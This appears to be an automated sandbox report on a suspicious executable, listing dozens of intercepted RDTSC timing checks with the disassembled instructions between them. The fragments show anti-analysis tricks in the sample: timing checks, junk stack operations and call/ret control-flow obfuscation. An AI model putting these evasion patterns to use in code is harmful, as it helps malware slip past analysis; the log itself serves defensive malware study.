Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D647F2 second address: D64864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+122D31D1h], ecx 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F9C2CD78D68h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Bh 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push ecx 0x0000002d add dword ptr [ebp+122D2861h], edx 0x00000033 pop esi 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F9C2CD78D68h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 00000014h 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov dword ptr [ebp+12472A87h], ecx 0x00000056 xchg eax, ebx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007F9C2CD78D6Eh 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64864 second address: D64878 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63C34 second address: D63C3F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F9C2CD78D66h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64878 second address: D6487C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D652C7 second address: D65335 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebx 0x0000000e call 00007F9C2CD78D68h 0x00000013 pop ebx 0x00000014 mov dword ptr [esp+04h], ebx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebx 0x00000021 push ebx 0x00000022 ret 0x00000023 pop ebx 0x00000024 ret 0x00000025 sub edi, dword ptr [ebp+122D36FAh] 0x0000002b mov dword ptr [ebp+122D3267h], esi 0x00000031 push 00000000h 0x00000033 call 00007F9C2CD78D71h 0x00000038 mov edi, eax 0x0000003a pop esi 0x0000003b push 00000000h 0x0000003d movzx esi, si 0x00000040 xchg eax, ebx 0x00000041 jmp 00007F9C2CD78D6Ch 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jbe 00007F9C2CD78D6Ch 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D65335 second address: D65339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67E9D second address: D67EB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9C2CD78D77h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67BBA second address: D67BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9C2CC4BDEBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68657 second address: D6865B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D2E0 second address: D6D355 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebp 0x0000000d call 00007F9C2CC4BDE8h 0x00000012 pop ebp 0x00000013 mov dword ptr [esp+04h], ebp 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc ebp 0x00000020 push ebp 0x00000021 ret 0x00000022 pop ebp 0x00000023 ret 0x00000024 clc 0x00000025 push 00000000h 0x00000027 sub dword ptr [ebp+122D303Fh], eax 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007F9C2CC4BDE8h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 00000016h 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 jnc 00007F9C2CC4BDECh 0x0000004f xchg eax, esi 0x00000050 push edi 0x00000051 push eax 0x00000052 jmp 00007F9C2CC4BDECh 0x00000057 pop eax 0x00000058 pop edi 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c push eax 0x0000005d push edx 0x0000005e push edi 0x0000005f pop edi 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C3A8 second address: D6C3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D355 second address: D6D359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C3AE second address: D6C3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D359 second address: D6D35F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6C3B3 second address: D6C3B8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6D4C9 second address: D6D4D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E69A second address: D6E69E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6E69E second address: D6E6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70462 second address: D70467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70467 second address: D704F1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C2CC4BDECh 0x00000008 jns 00007F9C2CC4BDE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jns 00007F9C2CC4BDE8h 0x00000018 jl 00007F9C2CC4BDECh 0x0000001e jg 00007F9C2CC4BDE6h 0x00000024 popad 0x00000025 nop 0x00000026 or edi, dword ptr [ebp+1244572Dh] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebx 0x00000031 call 00007F9C2CC4BDE8h 0x00000036 pop ebx 0x00000037 mov dword ptr [esp+04h], ebx 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ebx 0x00000044 push ebx 0x00000045 ret 0x00000046 pop ebx 0x00000047 ret 0x00000048 mov edi, 7285F200h 0x0000004d push 00000000h 0x0000004f push 00000000h 0x00000051 push edi 0x00000052 call 00007F9C2CC4BDE8h 0x00000057 pop edi 0x00000058 mov dword ptr [esp+04h], edi 0x0000005c add dword ptr [esp+04h], 00000014h 0x00000064 inc edi 0x00000065 push edi 0x00000066 ret 0x00000067 pop edi 0x00000068 ret 0x00000069 sub edi, dword ptr [ebp+122D2924h] 0x0000006f mov di, 2486h 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 jo 00007F9C2CC4BDECh 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D704F1 second address: D704F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D704F5 second address: D704FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D714EF second address: D714F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F9C2CD78D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D714F9 second address: D71583 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9C2CC4BDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f xor edi, 14048400h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F9C2CC4BDE8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000014h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007F9C2CC4BDE8h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d sbb edi, 26D1363Ah 0x00000053 mov dword ptr [ebp+122D31D1h], eax 0x00000059 xchg eax, esi 0x0000005a push esi 0x0000005b pushad 0x0000005c push esi 0x0000005d pop esi 0x0000005e jmp 00007F9C2CC4BDF1h 0x00000063 popad 0x00000064 pop esi 0x00000065 push eax 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F9C2CC4BDEEh 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D725EE second address: D7266F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9C2CD78D68h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edi, dword ptr [ebp+122D321Ch] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F9C2CD78D68h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f pushad 0x00000030 xor dword ptr [ebp+12444C05h], ecx 0x00000036 popad 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F9C2CD78D68h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000017h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 or edi, 75D484D2h 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d je 00007F9C2CD78D66h 0x00000063 jmp 00007F9C2CD78D74h 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D716CD second address: D716D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D727D3 second address: D727DD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9C2CD78D6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D735E9 second address: D735FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7436A second address: D7437C instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F9C2CD78D66h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D735FB second address: D7360F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F9C2CC4BDECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7437C second address: D74380 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D752B0 second address: D752BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F9C2CC4BDE6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D752BD second address: D752FD instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e call 00007F9C2CD78D6Eh 0x00000013 cmc 0x00000014 pop ebx 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D33BAh], edi 0x0000001d or dword ptr [ebp+1244E94Bh], edi 0x00000023 push 00000000h 0x00000025 push ebx 0x00000026 mov edi, 2D48325Fh 0x0000002b pop edi 0x0000002c xchg eax, esi 0x0000002d je 00007F9C2CD78D70h 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7616F second address: D76173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D771A7 second address: D771FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D74h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov di, ax 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F9C2CD78D68h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push esi 0x0000002c and edi, dword ptr [ebp+122D292Ch] 0x00000032 pop ebx 0x00000033 push 00000000h 0x00000035 movsx edi, si 0x00000038 xchg eax, esi 0x00000039 push eax 0x0000003a push edx 0x0000003b js 00007F9C2CD78D68h 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7923D second address: D79241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79241 second address: D79253 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9C2CD78D66h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79253 second address: D79257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79257 second address: D7925B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D797DC second address: D797E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D797E0 second address: D79804 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F9C2CD78D73h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79804 second address: D7986E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C2CC4BDE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c or edi, dword ptr [ebp+122D2A2Ch] 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F9C2CC4BDE8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebx 0x00000033 call 00007F9C2CC4BDE8h 0x00000038 pop ebx 0x00000039 mov dword ptr [esp+04h], ebx 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc ebx 0x00000046 push ebx 0x00000047 ret 0x00000048 pop ebx 0x00000049 ret 0x0000004a jno 00007F9C2CC4BDEFh 0x00000050 clc 0x00000051 xchg eax, esi 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7986E second address: D79872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79872 second address: D79899 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F9C2CC4BDEAh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7736E second address: D77374 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79B04 second address: D79B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C72F second address: D7C754 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D77h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b je 00007F9C2CD78D6Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79B0A second address: D79B13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7AB50 second address: D7AB54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7741C second address: D77427 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9C2CC4BDE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D79B13 second address: D79B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7AB54 second address: D7AB6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9C2CC4BDF1h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7450E second address: D745D8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9C2CD78D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F9C2CD78D77h 0x00000010 jmp 00007F9C2CD78D75h 0x00000015 popad 0x00000016 popad 0x00000017 mov dword ptr [esp], eax 0x0000001a push dword ptr fs:[00000000h] 0x00000021 mov bx, di 0x00000024 mov dword ptr fs:[00000000h], esp 0x0000002b jmp 00007F9C2CD78D76h 0x00000030 mov eax, dword ptr [ebp+122D0B39h] 0x00000036 mov dword ptr [ebp+122D285Bh], ecx 0x0000003c pushad 0x0000003d cld 0x0000003e stc 0x0000003f popad 0x00000040 push FFFFFFFFh 0x00000042 push 00000000h 0x00000044 push ebp 0x00000045 call 00007F9C2CD78D68h 0x0000004a pop ebp 0x0000004b mov dword ptr [esp+04h], ebp 0x0000004f add dword ptr [esp+04h], 0000001Ah 0x00000057 inc ebp 0x00000058 push ebp 0x00000059 ret 0x0000005a pop ebp 0x0000005b ret 0x0000005c pushad 0x0000005d sub dword ptr [ebp+122D2853h], edx 0x00000063 sub ebx, 28D62941h 0x00000069 popad 0x0000006a nop 0x0000006b jmp 00007F9C2CD78D6Eh 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007F9C2CD78D73h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FC5D second address: D7FC74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9C2CC4BDF1h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7FC74 second address: D7FC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F9C2CD78D66h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B99F second address: D7B9A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82139 second address: D8214E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CD78D71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8214E second address: D82158 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F9C2CC4BDE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D85AC2 second address: D85AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C0D8 second address: D8C0DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C0DC second address: D8C0E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C0E6 second address: D8C11D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 jmp 00007F9C2CC4BDF0h 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 jmp 00007F9C2CC4BDF4h 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C11D second address: D8C121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C121 second address: D8C191 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9C2CC4BDF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jp 00007F9C2CC4BE05h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F9C2CC4BDF7h 0x0000001e jmp 00007F9C2CC4BDEFh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C23D second address: D8C24C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C3CC second address: D8C3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C3D8 second address: D8C3DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C3DD second address: D8C405 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F9C2CC4BDEEh 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jnp 00007F9C2CC4BDE6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C405 second address: D8C40B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8C40B second address: D8C411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D901FA second address: D90214 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F9C2CD78D72h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9038E second address: D90394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
